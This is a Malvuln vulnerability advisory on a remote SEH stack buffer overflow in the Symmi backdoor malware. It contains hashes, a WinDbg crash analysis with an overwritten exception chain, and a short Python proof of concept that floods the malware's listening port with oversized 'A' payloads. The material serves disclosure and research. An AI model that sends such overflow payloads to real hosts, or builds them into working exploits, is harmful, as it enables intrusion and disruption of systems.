Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/6e81618678ddfee69342486f6b5ee780.txt Contact: malvuln13@gmail.com Media: x.com/malvuln Threat: Backdoor.Win32.Symmi.qua Vulnerability: Remote Stack Buffer Overflow (SEH) Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like "♣" ord(a) "9827" the other ports return no response, target the non responsive port. Third-party adversaries who can detect and reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH). Family: Symmi Type: PE32 MD5: 6e81618678ddfee69342486f6b5ee780 SHA256: a073f0bf8599352b57540930c36d655ba9e5a5afeb0c2606b07372e62476d3b3 Vuln ID: MVID-2024-0692 Dropped files: ksomnbi.dll ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 09/03/2024 Memory Dump: (1834.3f0): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=fffff74a edx=027ff640 esi=00000000 edi=00000002 eip=76fced3c esp=027ff038 ebp=027ff078 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 76fced3c c21400 ret 14h 0:007> .ecxr eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000 eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ksomnbi+0x1f32: 10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe FAULTING_IP: ksomnbi+1f32 10001f32 aa stos byte ptr es:[edi] EXCEPTION_RECORD: 027ff23c -- (.exr 0x27ff23c) ExceptionAddress: 10001f32 (ksomnbi+0x00001f32) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 02800000 Attempt to write to address 02800000 PROCESS_NAME: Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 027ff28c -- (.cxr 0x27ff28c) eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000 eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ksomnbi+0x1f32: 10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00 Resetting default scope WRITE_ADDRESS: 02800000 FOLLOWUP_IP: ksomnbi+1f32 10001f32 aa stos byte ptr es:[edi] FAULTING_THREAD: 000003f0 BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE LAST_CONTROL_TRANSFER: from 10002fc3 to 10001f32 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 027ff6fc 10002fc3 027ff74a 02517ff0 00000001 ksomnbi+0x1f32 027fff80 41414141 41414141 41414141 41414141 ksomnbi+0x2fc3 027fff84 41414141 41414141 41414141 41414141 0x41414141 027fff88 41414141 41414141 41414141 41414141 0x41414141 027fff8c 41414141 41414141 41414141 41414141 0x41414141 027fff90 41414141 41414141 41414141 41414141 0x41414141 027fff94 41414141 41414141 41414141 41414141 0x41414141 027fff98 41414141 41414141 41414141 41414141 0x41414141 027fff9c 41414141 41414141 41414141 41414141 0x41414141 027fffa0 41414141 41414141 41414141 41414141 0x41414141 027fffa4 41414141 41414141 41414141 41414141 0x41414141 027fffa8 41414141 41414141 41414141 41414141 0x41414141 027fffac 41414141 41414141 41414141 41414141 0x41414141 027fffb0 41414141 41414141 41414141 41414141 0x41414141 027fffb4 41414141 41414141 41414141 41414141 0x41414141 027fffb8 41414141 41414141 41414141 41414141 0x41414141 027fffbc 41414141 41414141 41414141 41414141 0x41414141 027fffc0 41414141 41414141 41414141 41414141 0x41414141 027fffc4 41414141 41414141 41414141 41414141 0x41414141 027fffc8 41414141 41414141 41414141 41414141 0x41414141 027fffcc 41414141 41414141 41414141 41414141 0x41414141 027fffd0 41414141 41414141 41414141 41414141 0x41414141 027fffd4 41414141 41414141 41414141 41414141 0x41414141 027fffd8 41414141 41414141 41414141 41414141 0x41414141 027fffdc 41414141 41414141 41414141 41414141 0x41414141 027fffe0 41414141 41414141 41414141 41414141 0x41414141 027fffe4 41414141 41414141 41414141 41414141 0x41414141 027fffe8 41414141 41414141 41414141 41414141 0x41414141 027fffec 41414141 41414141 41414141 41414141 0x41414141 027ffff0 41414141 41414141 41414141 00000000 0x41414141 027ffff4 41414141 41414141 00000000 00000000 0x41414141 027ffff8 41414141 00000000 00000000 00000000 0x41414141 027ffffc 00000000 00000000 00000000 00000000 0x41414141 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: ksomnbi+1f32 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ksomnbi IMAGE_NAME: ksomnbi.dll DEBUG_FLR_IMAGE_TIMESTAMP: 537a7d0a STACK_COMMAND: .cxr 0x27ff28c ; kb FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_ksomnbi.dll!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_ksomnbi+1f32 Followup: MachineOwner --------- 0:007> !exchain 027ff0f0: ntdll!_except_handler4+0 (76fd6a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (770157ad) 027ff710: ksomnbi+30df (100030df) 027fffcc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * def doit(): MALWARE_HOST="x.x.x.x" PORT=6917 #random port s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="CONNECT /"+"A"*2878 + " HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 2878\r\nHost: "+MALWARE_HOST s.send(PAYLOAD.encode()) s.close() while 1: doit() time.sleep(0.5) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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